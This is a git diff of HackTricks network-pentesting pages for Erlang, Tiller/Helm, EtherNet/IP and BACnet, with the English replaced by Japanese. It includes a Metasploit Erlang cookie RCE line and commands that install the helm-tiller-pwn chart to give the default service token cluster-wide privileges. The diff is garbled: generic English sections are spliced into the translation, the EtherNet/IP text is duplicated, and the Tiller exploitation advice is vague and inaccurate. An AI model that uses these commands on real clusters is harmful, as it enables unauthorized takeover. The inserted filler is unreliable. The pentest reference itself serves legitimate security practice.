[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ -You can use **Canape HTB machine to** **practice** how to **exploit this vuln**. +以下は[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)からの例です。この脆弱性を悪用する方法を練習するために、**Canape HTBマシン**を使用することができます。 ## Metasploit - ```bash #Metasploit can also exploit this if you know the cookie msf5> use exploit/multi/misc/erlang_cookie_rce ``` - # Shodan * `port:4369 "at port"` @@ -114,16 +113,14 @@ msf5> use exploit/multi/misc/erlang_cookie_rce ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/44134-pentesting-tiller-helm.md b/network-services-pentesting/44134-pentesting-tiller-helm.md index 328c232b1..9ef9a6733 100644 --- a/network-services-pentesting/44134-pentesting-tiller-helm.md +++ b/network-services-pentesting/44134-pentesting-tiller-helm.md @@ -1,37 +1,32 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. **Tiller** is the **service** **running** by default in the port 44134 offering the service. - -**Default port:** 44134 +HelmはKubernetesの**パッケージマネージャー**です。YAMLファイルをパッケージ化し、公開およびプライベートリポジトリで配布することができます。これらのパッケージは**Helm Charts**と呼ばれます。**Tiller**は、デフォルトでポート44134で実行される**サービス**です。 +**デフォルトポート:** 44134 ``` PORT STATE SERVICE VERSION 44134/tcp open unknown ``` +# 列挙 -# Enumeration - -If you can **enumerate pods and/or services** of different namespaces enumerate them and search for the ones with **"tiller" in their name**: - +異なる名前空間のポッドと/またはサービスを列挙できる場合は、それらを列挙し、「tiller」という名前を持つものを検索します。 ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" @@ -40,9 +35,43 @@ kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` - Examples: +## Enumeration + +### Discovering Tiller + +Tiller is the server-side component of Helm, a package manager for Kubernetes. To find the Tiller service, you can use the following methods: + +1. **Port Scanning**: Use tools like Nmap to scan for open ports on the target system. Look for port 44134, which is the default port used by Tiller. + +2. **DNS Enumeration**: Use tools like Dig or NSLookup to query the DNS records of the target domain. Look for any subdomains or hostnames related to Tiller, such as `tiller.example.com`. + +3. **Web Application Scanning**: If the target has a web application that interacts with Tiller, you can use web vulnerability scanners like OWASP ZAP or Burp Suite to discover any exposed Tiller endpoints. + +### Enumerating Tiller Endpoints + +Once you have discovered the Tiller service, you can enumerate its endpoints to gather more information about its configuration and potential vulnerabilities. Here are some techniques you can use: + +1. **Port Scanning**: Use tools like Nmap or Masscan to scan for open ports on the Tiller service. Look for commonly used ports like 80, 443, or 8080, which may indicate additional web interfaces or APIs. + +2. **Banner Grabbing**: Use tools like Telnet or Netcat to connect to the Tiller service and retrieve its banner. The banner may contain valuable information about the service version or any custom configurations. + +3. **HTTP Requests**: Send HTTP requests to the Tiller service and analyze the responses. Look for any exposed endpoints, API documentation, or error messages that may reveal potential vulnerabilities. + +## Exploitation + +### Exploiting Tiller + +Once you have identified potential vulnerabilities in the Tiller service, you can proceed with exploitation. Here are some common techniques: + +1. **Default Credentials**: Check if the Tiller service is using default or weak credentials. Use common username and password combinations like `admin/admin` or `root/password` to attempt unauthorized access. + +2. **Command Injection**: If the Tiller service allows user input, try injecting malicious commands to execute arbitrary code on the server. Look for input fields or parameters that are not properly sanitized or validated. + +3. **Remote Code Execution**: Exploit any known vulnerabilities in the Tiller service to execute remote code on the server. Look for public exploits or security advisories related to the specific version of Tiller you are targeting. + +Remember to always obtain proper authorization before performing any exploitation activities. Unauthorized access or unauthorized use of exploits can lead to legal consequences. ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE @@ -54,50 +83,41 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` - -You could also try to find this service running checking the port 44134: - +このサービスが実行されているかどうかを確認するために、ポート44134をチェックしてみることもできます。 ```bash sudo nmap -sS -p 44134 ``` +発見したら、クライアントhelmアプリケーションをダウンロードしてそれと通信することができます。`homebrew`のようなツールを使用するか、[**公式リリースページ**](https://github.com/helm/helm/releases)**を参照してください**。詳細や他のオプションについては、[インストールガイド](https://v2.helm.sh/docs/using\_helm/#installing-helm)を参照してください。 -Once you have discovered it you can communicate with it downloading the client helm application. You can use tools like `homebrew`, or look at [**the official releases page**](https://github.com/helm/helm/releases)**.** For more details, or for other options, see [the installation guide](https://v2.helm.sh/docs/using\_helm/#installing-helm). - -Then, you can **enumerate the service**: - +次に、**サービスを列挙**することができます: ``` helm --host tiller-deploy.kube-system:44134 version ``` +## 特権昇格 -## Privilege Escalation - -By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**. - -All you need to do is to install a package like this one: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) that will give the **default service token access to everything in the whole cluster.** +デフォルトでは、**Helm2**は**kube-system**の**名前空間**に**高い特権**でインストールされています。したがって、サービスを見つけてアクセスできる場合、これにより**特権を昇格**することができます。 +次のようなパッケージをインストールするだけです: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) これにより、**デフォルトのサービストークンがクラスタ全体のすべてにアクセスできるようになります。** ``` git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` - -In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **explanation of the attack**, but basically, if you read the files [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) and [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) inside _helm-tiller-pwn/pwnchart/templates/_ you can see how **all the privileges are being given to the default token**. +[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)には**攻撃の説明**がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内の[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)と[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)のファイルを読むと、**すべての権限がデフォルトトークンに与えられている**ことがわかります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/44818-ethernetip.md b/network-services-pentesting/44818-ethernetip.md index 2645f38ac..b7f179c12 100644 --- a/network-services-pentesting/44818-ethernetip.md +++ b/network-services-pentesting/44818-ethernetip.md @@ -1,67 +1,135 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# **Protocol Information** +# **プロトコル情報** -From Wikipedia article on EtherNet/IP [http://en.wikipedia.org/wiki/EtherNet/IP](http://en.wikipedia.org/wiki/EtherNet/IP) +EtherNet/IPに関するWikipediaの記事から引用 [http://en.wikipedia.org/wiki/EtherNet/IP](http://en.wikipedia.org/wiki/EtherNet/IP) -> EtherNet/IP was developed in the late 1990s by Rockwell Automation as part of Rockwell's industrial Ethernet networking solutions. Rockwell gave EtherNet/IP its moniker and handed it over to ODVA, which now manages the protocol and assures multi-vendor system interoperability by requiring adherence to established standards whenever new products that utilize the protocol are developed today. +> EtherNet/IPは、Rockwell Automationによって1990年代後半に開発され、Rockwellの産業用イーサネットネットワーキングソリューションの一部として開発されました。RockwellはEtherNet/IPという名前を付け、現在はプロトコルを管理し、新しいプロトコルを利用する製品が開発される際には、確立された標準に準拠することを要求して、マルチベンダーシステムの相互運用性を保証しています。 -> EtherNet/IP is most commonly used in industrial automation control systems, such as for water processing plants, manufacturing facilities and utilities. Several control system vendors have developed programmable automation controllers and I/O capable of communicating via EtherNet/IP. +> EtherNet/IPは、主に水処理プラント、製造施設、公益事業などの産業用自動制御システムで最も一般的に使用されています。いくつかの制御システムベンダーは、EtherNet/IPを介して通信できるプログラマブルオートメーションコントローラとI/Oを開発しています。 -An EtherNet/IP device is positively identified by querying TCP/44818 with a list Identities Message (0x63). The response messages will determine if it is a EtherNet/IP device and parse the information to enumerate the device.\ -From [here](https://github.com/digitalbond/Redpoint) - -**Default port:** 44818 UDP/TCP +EtherNet/IPデバイスは、TCP/44818をクエリすることで正確に識別されます。リストIdentitiesメッセージ(0x63)を使用して、応答メッセージがEtherNet/IPデバイスであるかどうかを判断し、デバイスを列挙するための情報を解析します。\ +[ここから](https://github.com/digitalbond/Redpoint) +**デフォルトポート:** 44818 UDP/TCP ``` PORT STATE SERVICE 44818/tcp open EtherNet/IP ``` +# **列挙** -# **Enumeration** +--- +## **Ethernet/IP** + +--- + +Ethernet/IP (Industrial Protocol) is a communication protocol widely used in industrial automation systems. It is based on the Common Industrial Protocol (CIP) and uses the TCP/IP stack for communication. + +### **Protocol Overview** + +Ethernet/IP uses the CIP protocol to exchange data between devices in an industrial network. It supports various types of devices, including programmable logic controllers (PLCs), human-machine interfaces (HMIs), and sensors. + +The protocol operates at the application layer of the TCP/IP stack and uses the User Datagram Protocol (UDP) and Transmission Control Protocol (TCP) for communication. UDP is used for multicast and broadcast messages, while TCP is used for unicast messages. + +### **Enumeration Techniques** + +To enumerate Ethernet/IP devices, you can use the following techniques: + +1. **ARP Scanning**: Send an Address Resolution Protocol (ARP) request to the network to discover Ethernet/IP devices. This technique is effective for devices on the same subnet. + +2. **Port Scanning**: Perform a port scan on the target IP addresses to identify open ports associated with Ethernet/IP services. Common ports used by Ethernet/IP include TCP port 44818 and UDP port 2222. + +3. **Banner Grabbing**: Connect to the target device's open ports and retrieve the banners or service information. This can provide valuable information about the device and its Ethernet/IP services. + +4. **Protocol-Specific Tools**: Use specialized tools like `nmap` or `Wireshark` with Ethernet/IP protocol support to perform enumeration and analysis of Ethernet/IP devices. + +### **Enumeration Results** + +During the enumeration process, you may discover the following information about Ethernet/IP devices: + +- IP addresses and MAC addresses of the devices +- Open ports associated with Ethernet/IP services +- Device names and descriptions +- Firmware versions and software information +- Network topology and device relationships + +This information can be used to further analyze and exploit the Ethernet/IP devices during a penetration test. + +--- + +## **Ethernet/IP** + +--- + +Ethernet/IP(Industrial Protocol)は、産業オートメーションシステムで広く使用されている通信プロトコルです。これはCommon Industrial Protocol(CIP)に基づいており、通信にはTCP/IPスタックを使用しています。 + +### **プロトコルの概要** + +Ethernet/IPは、産業ネットワーク内のデバイス間でデータを交換するためにCIPプロトコルを使用します。プログラマブルロジックコントローラ(PLC)、人間機械インターフェース(HMI)、センサーなど、さまざまなタイプのデバイスをサポートしています。 + +このプロトコルは、TCP/IPスタックのアプリケーション層で動作し、通信にはUser Datagram Protocol(UDP)とTransmission Control Protocol(TCP)を使用します。UDPはマルチキャストやブロードキャストメッセージに使用され、TCPはユニキャストメッセージに使用されます。 + +### **列挙の手法** + +Ethernet/IPデバイスを列挙するために、次の手法を使用できます: + +1. **ARPスキャン**:ネットワークにAddress Resolution Protocol(ARP)リクエストを送信して、Ethernet/IPデバイスを検出します。この手法は、同じサブネット上のデバイスに対して効果的です。 + +2. **ポートスキャン**:対象のIPアドレスに対してポートスキャンを実行し、Ethernet/IPサービスに関連付けられたオープンポートを特定します。Ethernet/IPで使用される一般的なポートには、TCPポート44818とUDPポート2222があります。 + +3. **バナーグラビング**:対象デバイスのオープンポートに接続し、バナーやサービス情報を取得します。これにより、デバイスとそのEthernet/IPサービスに関する貴重な情報が得られます。 + +4. **プロトコル固有のツール**:Ethernet/IPプロトコルをサポートする`nmap`や`Wireshark`などの専用ツールを使用して、Ethernet/IPデバイスの列挙と分析を行います。 + +### **列挙の結果** + +列挙プロセス中に、Ethernet/IPデバイスに関する次の情報を発見することがあります: + +- デバイスのIPアドレスとMACアドレス +- Ethernet/IPサービスに関連付けられたオープンポート +- デバイスの名前と説明 +- ファームウェアバージョンとソフトウェア情報 +- ネットワークのトポロジーとデバイスの関係 + +この情報は、ペネトレーションテスト中にEthernet/IPデバイスをさらに分析し、悪用するために使用できます。 ```bash nmap -n -sV --script enip-info -p 44818 pip3 install cpppo python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity -a ``` - # Shodan -* `port:44818 "product name"` +* `port:44818 "製品名"`
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/47808-udp-bacnet.md b/network-services-pentesting/47808-udp-bacnet.md index 0cebc5993..48c870299 100644 --- a/network-services-pentesting/47808-udp-bacnet.md +++ b/network-services-pentesting/47808-udp-bacnet.md @@ -1,40 +1,35 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Protocol Information +# プロトコル情報 -**BACnet** is a [communications protocol](https://en.wikipedia.org/wiki/Communications_protocol) for Building Automation and Control \(BAC\) networks that leverage the [ASHRAE](https://en.wikipedia.org/wiki/ASHRAE), [ANSI](https://en.wikipedia.org/wiki/ANSI), and [ISO](https://en.wikipedia.org/wiki/International_Organization_for_Standardization) 16484-5 standard[\[1\]](https://en.wikipedia.org/wiki/BACnet#cite_note-1) protocol. +**BACnet**は、[ASHRAE](https://en.wikipedia.org/wiki/ASHRAE)、[ANSI](https://en.wikipedia.org/wiki/ANSI)、および[ISO](https://en.wikipedia.org/wiki/International_Organization_for_Standardization) 16484-5標準[\[1\]](https://en.wikipedia.org/wiki/BACnet#cite_note-1)プロトコルを利用するビルオートメーションおよび制御(BAC)ネットワークのための[通信プロトコル](https://en.wikipedia.org/wiki/Communications_protocol)です。 -BACnet was designed to allow communication of [building automation](https://en.wikipedia.org/wiki/Building_automation) and control systems for applications such as heating, ventilating, and air-conditioning control \([HVAC](https://en.wikipedia.org/wiki/HVAC)\), lighting control, access control, and fire detection systems and their associated equipment. The BACnet protocol provides mechanisms for computerized building automation devices to exchange information, regardless of the particular building service they perform. -From [Wikipedia](https://en.wikipedia.org/wiki/BACnet) - -**Default port:** 47808 +BACnetは、暖房、換気、空調制御([HVAC](https://en.wikipedia.org/wiki/HVAC))、照明制御、アクセス制御、火災検知システムおよびそれらに関連する機器など、建物オートメーションおよび制御システムの通信を可能にするよう設計されています。 BACnetプロトコルは、特定の建物サービスに関係なく、コンピュータ化された建物オートメーションデバイスが情報を交換するためのメカニズムを提供します。 +[Wikipedia](https://en.wikipedia.org/wiki/BACnet)より +**デフォルトポート:** 47808 ```text PORT STATE SERVICE 47808/udp open BACNet -- Building Automation and Control NetworksEnumerate ``` +# 列挙 -# Enumeration - -## Manual - +## 手動 ```bash pip3 install BAC0 import BAC0 @@ -45,14 +40,21 @@ bacnet.vendorName.strValue #I couldn't find how to obtain the same data as nmap with this library or any other #talk me if you know how please ``` +## 自動 -## Automatic +UDP BACnet scanning can be automated using various tools and scripts. These tools and scripts can help in identifying BACnet devices on a network and gathering information about them. +One popular tool for automating UDP BACnet scanning is the BACnet Discovery Tool (BDT). This tool allows users to scan a network for BACnet devices and retrieve information such as device type, device instance, and supported services. BDT can also perform additional tasks such as device enumeration and property value retrieval. + +Another tool that can be used for automating UDP BACnet scanning is the BACnet/IP Scanner. This tool allows users to scan a network for BACnet devices and retrieve information such as device ID, device name, and supported services. The BACnet/IP Scanner can also perform tasks such as device enumeration and property value retrieval. + +In addition to these tools, there are also various scripts available that can automate UDP BACnet scanning. These scripts can be written in programming languages such as Python or Ruby and can be customized to suit specific scanning requirements. + +Automating UDP BACnet scanning can save time and effort, as it eliminates the need for manual scanning and allows for faster identification of BACnet devices on a network. However, it is important to use these tools and scripts responsibly and ethically, ensuring that proper authorization is obtained before scanning any network. ```bash nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 ``` - -This script does not attempt to join a BACnet network as a foreign device, it simply sends BACnet requests directly to an IP addressable device. +このスクリプトは、BACnetネットワークに外部デバイスとして参加しようとはせず、単にIPアドレス指定可能なデバイスに直接BACnetリクエストを送信します。 ## Shodan @@ -65,16 +67,14 @@ This script does not attempt to join a BACnet network as a foreign device, it si ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION 